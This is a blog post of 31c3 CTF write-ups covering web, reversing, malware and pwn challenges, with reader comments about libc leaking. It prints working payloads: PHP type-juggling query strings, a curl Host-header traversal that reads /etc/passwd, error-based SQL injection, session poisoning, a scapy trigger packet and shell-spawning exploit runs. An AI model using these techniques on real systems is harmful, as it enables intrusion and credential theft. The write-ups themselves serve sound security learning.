I’m writing about challenge writeups which I’ve finished during the competition. 31c3 is awesome CTF as always ;).
Web
pCRAPp
http://188.40.18.69/pCRAPp.php?a={"a1":"1337a","a2":[[],0,"z","z","z"]}&c[0]=a&c[1][]=1&d={nullbyte}31c3&b=09
31c3_pHp_h4z_f41l3d_d34l_w1tH_1T
Please replace {nullbyte} into \0 in urlencode.
Since older PHP versions parse "09" as octal numbers. so "9" is not legit.
http
curl -ik "http://works.90.31c3ctf.aachen.ccc.de/passwd"\
-H "Host: ../../../../../../etc/"\
-H "Host: works.90.31c3ctf.aachen.ccc.de"
HTTP/1.0 200 OK
root:x:0:0:root:/root:/bin/bash
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
flag:x:1001:1001:31C3_b45fa9e4d5969e3c524bdcde15f84125:/home/flag:
Devilsh
view-source:http://188.40.18.70/PROFILE/54\/KiTTyKiTTy
Bam!
1 2 |
<!--SELECT * FROM users WHERE id_user='54\' AND Us3rN4m3='KiTTyKiTTy'--><span class='styleX'> You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'KiTTyKiTTy'' at line 1</span> |
Since it filterd some keywords to prevent SQLi attacks, such as: “or”,”union”,”schema”,…
so we could not inject “password”,”information_schema” or anything like that to extract column name which contains password of those users.Now what ?!
Idea come from my friend (nurfed) ;). We could leak column password via error-based.
python web30.py "select * from (select * from users join users b using(id_user,Us3rN4m3,Em4iL4dr3Szz,S4cR3dT3xT0Fm3,MyPh0N3NumB3RHAHA,Addr3Zz0F_tHi5_D3wD,CHAR_LOL))c"
Duplicate column name 'P4sWW0rD_0F_M3_WTF'
Login with that password = > failed!. Ah, i guessed that error-based has been limited characters. So we need to blind-sqli to recover an entire password. I used locate.
Dracula / ZD456ddssd65456lksndoiNzd654sdsd654zd65s4d56489zdz
After you login successfully, you could see the directory traversal vulnerability easily.
Explore it, we will be able to get source-code of whole site. But it was not useful, where is flag ? how i get it ?
Dig more, and i saw something which is pretty interesting.
In /home/devilish.local/
It is another source-code with a bit different from /var/www/html/.
http://188.40.18.70/ACCESS?action=browse&dir=../../../../../home/devilish.local/__WebSiteFuckingPrivateContentNotForPublic666%2b666/
So, how we can go surf devlish.local ? we may change Host header ? Probably!.
curl -ik "http://188.40.18.70/__WebSiteFuckingPrivateContentNotForPublic666%2b666/INDEX" -H "Host: devilish.local"
INDEX (devilish.local):
1 2 |
... <?php echo($logged?"Here's your secret ".$flag."<br/><br/>":"Login to access the secret<br/><br/>")?> |
LOGIN_HEAD (devilish.local):
1 2 3 4 5 6 7 8 9 10 11 |
<?php if(@$_SESSION['is_ExclusiveMember']){header("location: ".$LINK);die();} if(isset($_POST['user'])){ if(@$_POST['user']===$uLOGIN && @$_POST['pass']===$uPASSWORD){ $_SESSION['is_ExclusiveMember']=1; header("location: ".$LINK); die(); }else{ $Error=1; } } |
…Hm Is there another way to set our $_SESSION[‘is_ExclusiveMember’]=1 ?. Yes, it is.
Back to /var/www/html/ to find useful things. I saw:
LOGIN_HEAD:
1 2 3 4 5 6 7 8 9 10 11 |
<?php if(@$_SESSION['user']){header("location: ".$LINK);die();} if(isset($_POST['user'])){ if(mysqli_num_rows(mysqli_query($con,"SELECT * FROM users WHERE Us3rN4m3='".mysqli_real_escape_string($con,@$_POST['user'])."' AND P4sWW0rD_0F_M3_WTF='".mysqli_real_escape_string($con,@$_POST['pass'])."' "))>0){ <strong>$_SESSION=$_POST;</strong> header("location: ".$LINK);die(); }else{ $Error=1; } } ?> |
We could set $_SESSION at here. and get back to devlish.local with anything we want.
1 2 3 4 5 6 7 8 9 10 |
root@ubuntu:/CTF/31c3/web# curl -ik "http://188.40.18.70/LOGIN" -d "user=Dracula&pass=ZD456ddssd65456lksndoiNzd654sdsd654zd65s4d56489zdz&is_ExclusiveMember=1" ...snip... Set-Cookie: PHPSESSID=4idnqqlvk197kdiediuiuct9q1; path=/ ... root@ubuntu:/CTF/31c3/web# curl -ik "http://188.40.18.70/" -H "Host: devilish.local" -b "PHPSESSID=4idnqqlvk197kdiediuiuct9q1" ...snip... Here's your secret 31c3_Th3r3_4R3_D3v1li5h_Th0ght5_ev3N_1N_th3_M0sT_4ng3l1c_M1nd5 |
Reversing
casino
Let’s play a game!
nc 188.40.18.77 2000
Solution: casino.py
Malware
orbb
orbb running on 188.40.18.85
This binary used libnetfilter_queue which provide an API verdict or reinject packets to kernel nfnetlink_queue
subsystem.
nfq_get_payload is the function that parse our message (packet) to pointer of pointer which pass into $rsi.
At 0x4011F5: It get 1 byte at 9th bytes of our message.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
struct iphdr { #if defined(__LITTLE_ENDIAN_BITFIELD) __u8 ihl:4, version:4; #elif defined (__BIG_ENDIAN_BITFIELD) __u8 version:4, ihl:4; #else #error "Please fix <asm/byteorder.h>" #endif __u8 tos; __u16 tot_len; __u16 id; __u16 frag_off; __u8 ttl; __u8 protocol; __u16 check; __u32 saddr; __u32 daddr; /*The options start here. */ }; |
As above definition, 9th bytes is PROTOCOL numbers (tcp,udp…).
At 0x40121A: The binary check whether PROTOCOL equals 16.
You can search it in list of IP protocol numbers.
It shows us that protocol 16 is CHAOSNET (?!). I’ve never heard it before :D.
A bit later, it leads us to function “check_crc32” (0x400FFA) which pass our raw data in packet as 1st argument.
So our raw data must have 9bytes and start with ‘cha0s‘. Moreover, CRC32(our raw data) has to be 0xCCCAC. hm…read this post.
I’ve used that tools to reverse crc32.
1 2 |
>>> hex(binascii.crc32('6368613073fcdabbbb'.decode('hex'))) '0xcccac' |
Cool !
sub_400F58: If your payload is legit, It will send the FLAG to our IP with port 3276 as UDP payload. well, just enable netcat to listen on that port. nc -ulv 3276
I used scapy for generating payload with proto number = 16.
1 2 3 4 5 |
from scapy.all import * ip=IP(dst="188.40.18.85",proto=16) ACK=ip/Raw(load="6368613073fcdabbbb".decode('hex')) send(ACK) ACK.show() |
And you would be able to receive your flag ;).
1 2 3 |
$ nc -lvu 3276 Listening on [0.0.0.0] (family 0, port 3276) 31C3_please_get_in_nfqueue |
Ah one last thing, If you wanna debug on your own localhost. Just run:
iptables -A INPUT -p 16 -j NFQUEUE --queue-num 0
PWN
cfy
1 2 3 4 5 6 7 8 9 10 11 |
root@ubuntu:/CTF/31c3/pwn/cfy_$ python xxx.py ? Please enter your number: /bin/sh cat /home/cfy/flag THANK YOU WARIO! BUT OUR PRINCESS IS IN ANOTHER CASTLE! Login: cfy_pwn // 31C3_G0nna_keep<on>grynding |
mynx
It was off-by-one vulnerability in add_comment function. So you could overwrite type of struct (1st byte) as above defination.
1 2 3 4 5 6 7 |
start: 0xf755fa63 system: 0xf75842b0 -Comment: 0 -Comment: 1 ready? cat /home/user/flag 31C3_i_like_weird_allocators |
Hi. I have read your cfy’s exp.You said “I leaked strings from libc and determined the version of libc.” ……But I want to know the process you detemined the glibc’s version in detail. Thank you for your kind help! 😉 Sorry for my poor english~
I’ve used leak() to read approximate 0x5000 bytes from specific address. Then I had to search some strings like “GNU C Library (Ubuntu ******) stable release version 2.19, by Roland McGrath” 🙂
Enn…The url you given (https://launchpad.net/ubuntu/+source/glibc/2.19-10ubuntu2.1)has three target available (in download list),how to determined which to download?;-)Thank you ~~memeda..
Since that binary was 64bit ELF. so i guessed it must be Ubuntu x86_64 amd64 machine.
https://launchpad.net/~ubuntu-security/+archive/ubuntu/ppa/+build/6608877 => libc6_2.19-10ubuntu2.1_amd64.deb (4.5 MiB)
and libc6-i386_2.19-10ubuntu2.1_amd64.deb (2.1 MiB) for ELF 32-bit.
Hi, i just want to ask about the ida version you are using. the struct are presented here with their real names, are you using a king of plugin for IDA ? or what ?
It’s not real name. I defined that struct myself by reversing those functions.
thanks for the writeups!
you’re welcome! 😀
Sorry for my stupid. But I also have a trouble to leak string.(“GNU C Library (Ubuntu GLIBC 2.19-10ubuntu2.1) stable release”),Well ,you said we can use leak() to leak string。But the “2 function” Only give us dec number and hex number.How to find char(string)?Thanks for your kind help 😉
notice that in my leak(), it has 2nd optional argument ;). If ret_str = 1, it shall return a string through get_hex(). Basically, I’ve just extract a string from hex return value by pack,unpack :).
so you used the 3rd option to dump some stack address, then converted it to string ? cuz during the CTF i brute forced some stack address, i got some strings but not the wanted one 🙁
eh~~ I’ve read your cfy’s exp but still have some trouble determing the version of libc. You said:” I’ve used leak() to read approximate 0x5000 bytes from specific address. ” Could you please tell me the specific address ? Thanks a lot. 😀
Hm. You have to determine that address.
I used libc_start_main+0x6000 (I dont remember extactly) as start address to leak.
Basically, It’s likely that you have to leak whole a libc until you get some useful string :). I tried to calculate that offset many times.
You should try it yourself to get some experience :D.
Hey thank you for the great writeups! Always good to learn from you guys.
A question about the PcrapP challenge. I have setup the same environment as the CTF challenge with PHP/Ubuntu.
You wrote that when using 09, PHP will treat it as octet and will fail.
However, when I try passing b=09, json_decode manage to convert it to 9 and does not fail. Any idea?
It depends on your PHP version. It didnt work on my own localhost also, but it worked on CTF challenge host.
curl -ik http://188.40.18.69/pCRAPp.php
...
Server: Apache/2.4.10 (Ubuntu)
X-Powered-By: PHP/5.5.12-2ubuntu4.1
It seems like 01, 02, 03… , 09 works too on the challenge host.
So i’m not sure if it’s relate to the octal error. mystery..
it works for me, man 😉
http://pastebin.com/raw.php?i=atJkfqAb
at Devilish “So we need to blind-sqli to recover an entire password. I used locate”
what blind-sqli parameter to get the username+password and u say can’t extract data from information_schema or other ” so we could not inject “password”,”information_schema” or anything like that ”
how that blind-sqli ? with locate